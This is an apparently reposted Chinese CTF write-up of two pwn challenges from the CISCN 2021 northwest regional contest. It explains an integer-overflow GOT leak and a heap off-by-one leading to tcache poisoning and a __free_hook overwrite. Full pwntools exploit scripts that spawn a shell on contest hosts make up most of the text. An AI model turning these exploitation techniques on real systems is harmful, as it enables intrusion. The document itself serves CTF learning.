ciscn2021 西北分区赛部分pwn

Posted mishixiaodai

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ciscn2021 西北分区赛部分pwn相关的知识,希望对你有一定的参考价值。

xb_pwn_easy

分析发现是道整数溢出的题,unsigned int8最大数为255,当输入的数字超出255时就会发生溢出。但当时做题我将v4输为0,也可以造成溢出,原因是read的第三个参数v4-1=-1,又read的第三个参数类型是size_t,当输入负值时,会将其转换为无符号数。

利用整数溢出漏洞,可以覆盖age、email、phone,可以将email覆盖为函数的got地址,这样就可以获得函数的地址并且得到libc的基地址。

修改puts函数的got表。一开始我将phone覆盖为puts_got的值,再利用edit函数将其改写为system函数的地址+‘||/bin/sh\\x00’,但是报错,原因应该是system函数地址有两个‘\\x00’,截断了‘||/bin/sh\\x00’。改为onegadget即能打通。

exp:

from pwn import *
#io = process('./pwn')
io = remote('172.1.28.5',8888)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
read_got = elf.got['read']
puts_got = elf.got['puts']
io.sendlineafter('name> ','aaaa')
io.sendlineafter('email> ','bbbb')
io.sendlineafter('phone> ','cccc')
io.sendlineafter('age> ','18')
io.sendlineafter('size> ','0')
payload = 'a'*0x28+p64(read_got)+p64(0)+p64(puts_got)+p64(0x20)
#gdb.attach(io)
io.sendline(payload)
#sleep(1)
io.recvuntil('temail> ',timeout=1)
#sleep(1)
read = u64(io.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))
libcbase = read - libc.symbols['read']
print(hex(libcbase))
system = libcbase+libc.symbols['system']
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]

io.sendlineafter('phone? >','y')
#sleep(1)
raw_input()
io.sendlineafter('> ',p64(onegadget[3]+libcbase))

io.interactive()

xb_pwn_enc_system

保护全开,分析出漏洞在strlen函数那,strlen遇到’\\x00’停止,当我们将chunk填满时,下一个chunk的size处就会被strlen算入,然后被异或造成一个字节的off-by-one漏洞。

先申请3个大小为0x110的chunk,第一个chunk的密钥处填为0xb0,因为0x21^0xb0=0x91,在释放掉被更改了size域的chunk即可造成堆块堆叠。
gift函数可以申请1~512大小的chunk,但只能申请一次,利用此函数可以申请刚刚释放掉的被更改了size域的chunk。这时我们就可以控制tcache的0x110部分的freechunk。我们通过填充一定量的垃圾数据来泄露heap_base。

	add(0,0x108,0xb0)  
    add(1,0x108,0)
    add(2,0x108,1)
    payload = 'a'*0x108
    encry(0,payload)
    payload = 'a'*0x68+'\\xa1'+'\\x00'
    encry(1,payload)
    #pause()
    dele(0)
    dele(2)
    dele(1)
    gift(1,0x88,0)
    #pause()
    payload = 'a'*0x28
    encry(1,payload)
    io.recvuntil('61'*0x28)
    heap_base = io.recv(12)
    news=''
    while(len(heap_base)):
        news += heap_base[-2:]
        heap_base = heap_base[:-2]
    heap_base = int(news,16)
    print(hex(heap_base))

接着我们将freechunk的fd指针与(heap_base>>12)异或即可使fd指向heap_base。再连续两次申请0x110的chunk即可控制tcache。将0x110对应的chunk的counts设置为7,然后释放掉一个chunk,填充一定垃圾数据泄露main_arena的地址,得到libc的基地址。

    payload = 'a'*0x18+p64(0x111)+p64(heap_base^heap_base>>12)
    decry(1)
    encry(1,payload)
    #pause()
    add(0,0x108,0)
    add(2,0x108,0)#tcache
    #pause()
    payload = '\\x00'*0x1e+'\\x07\\x00'+'\\x00'*0x60
    encry(2,payload)
    dele(0)
    decry(2)
    payload = '\\x01'+'\\x00'*0x7f
    encry(2,payload)
    decry(1)
    encry(1,'a'*0x21)
    decry(1)
    io.recvuntil('61'*0x21)
    main_arena = io.recv(10)
    news=''
    while(len(main_arena)):
        news += main_arena[-2:]
        main_arena = main_arena[:-2]
    main_arena = int(news,16)
    #print(hex(main_arena<<8))
    main_arena = main_arena<<8
    malloc_hook = main_arena-96-16
    libcbase = malloc_hook - libc.symbols['__malloc_hook']
    system = libcbase+libc.symbols['system']
    print(hex(libcbase))
    free_hook = libcbase+libc.symbols['__free_hook']
    print('free_hook',hex(free_hook))
    encry(1,'a'*0x18+p64(0x111)+'\\x00')
    decry(1)
    #pause()

最后改写free_hook的值为system的地址,即可拿到shell。
完整exp

from pwn import *
#io = process('./pwn1')
io = remote('172.1.28.7',8888)
libc = ELF('./libc.so.6')
context(log_level = 'debug')

def add(a1,a2,a3):
    io.sendlineafter('> ','1')
    io.sendlineafter('idx: ',str(a1))
    io.sendlineafter('length: ',str(a2))
    io.sendlineafter('key: ',str(a3))

def dele(a1):
    io.sendlineafter('> ','2')
    io.sendlineafter('idx: ',str(a1))

def encry(a1,a2):
    io.sendlineafter('> ','3')
    io.sendlineafter('idx: ',str(a1))
    io.sendafter('content: ',a2)

def decry(a1):
    io.sendlineafter('> ','4')
    io.sendlineafter('idx: ',str(a1))

def gift(a1,a2,a3):
    io.sendlineafter('> ','233')
    io.sendlineafter('idx: ',str(a1))
    io.sendlineafter('length: ',str(a2))
    io.sendlineafter('key: ',str(a3))

def exp():
    add(0,0x108,0xb0)
    add(1,0x108,0)
    add(2,0x108,1)
    payload = 'a'*0x108
    encry(0,payload)
    payload = 'a'*0x68+'\\xa1'+'\\x00'
    encry(1,payload)
    #pause()
    dele(0)
    dele(2)
    dele(1)
    gift(1,0x88,0)
    #pause()
    payload = 'a'*0x28
    encry(1,payload)
    io.recvuntil('61'*0x28)
    heap_base = io.recv(12)
    news=''
    while(len(heap_base)):
        news += heap_base[-2:]
        heap_base = heap_base[:-2]
    heap_base = int(news,16)
    print(hex(heap_base))

    payload = 'a'*0x18+p64(0x111)+p64(heap_base^heap_base>>12)
    decry(1)
    encry(1,payload)
    #pause()
    add(0,0x108,0)
    add(2,0x108,0)#tcache
    #pause()
    payload = '\\x00'*0x1e+'\\x07\\x00'+'\\x00'*0x60
    encry(2,payload)
    dele(0)
    decry(2)
    payload = '\\x01'+'\\x00'*0x7f
    encry(2,payload)
    decry(1)
    encry(1,'a'*0x21)
    decry(1)
    io.recvuntil('61'*0x21)
    main_arena = io.recv(10)
    news=''
    while(len(main_arena)):
        news += main_arena[-2:]
        main_arena = main_arena[:-2]
    main_arena = int(news,16)
    #print(hex(main_arena<<8))
    main_arena = main_arena<<8
    malloc_hook = main_arena-96-16
    libcbase = malloc_hook - libc.symbols['__malloc_hook']
    system = libcbase+libc.symbols['system']
    print(hex(libcbase))
    free_hook = libcbase+libc.symbols['__free_hook']
    print('free_hook',hex(free_hook))
    encry(1,'a'*0x18+p64(0x111)+'\\x00')
    decry(1)
    #pause()

    add(0,0x108,0)
    decry(2)
    dele(0)
    #pause()
    encry(2,'\\x01\\x00'+'\\x00'*0x1c+'\\x01\\x00'+'\\x00'*0x60+p64(heap_base-0x10+0x2a0)+'\\x00'*(0x100-0x90)+p64(free_hook-0x10))
    #pause()

    add(0,0x108,0)
    encry(0,'/bin/sh\\x00'*2+p64(system))
    dele(0)
    io.interactive()

exp()

以上是关于ciscn2021 西北分区赛部分pwn的主要内容,如果未能解决你的问题,请参考以下文章

ciscn2021 西北分区赛部分pwn

ciscn2021西北部分pwn

ciscn2021西北部分pwn

ciscn2021西北部分pwn

ciscn2021西北部分pwn

CISCN2021 西北赛区分区赛 Web xb_web_flask_trick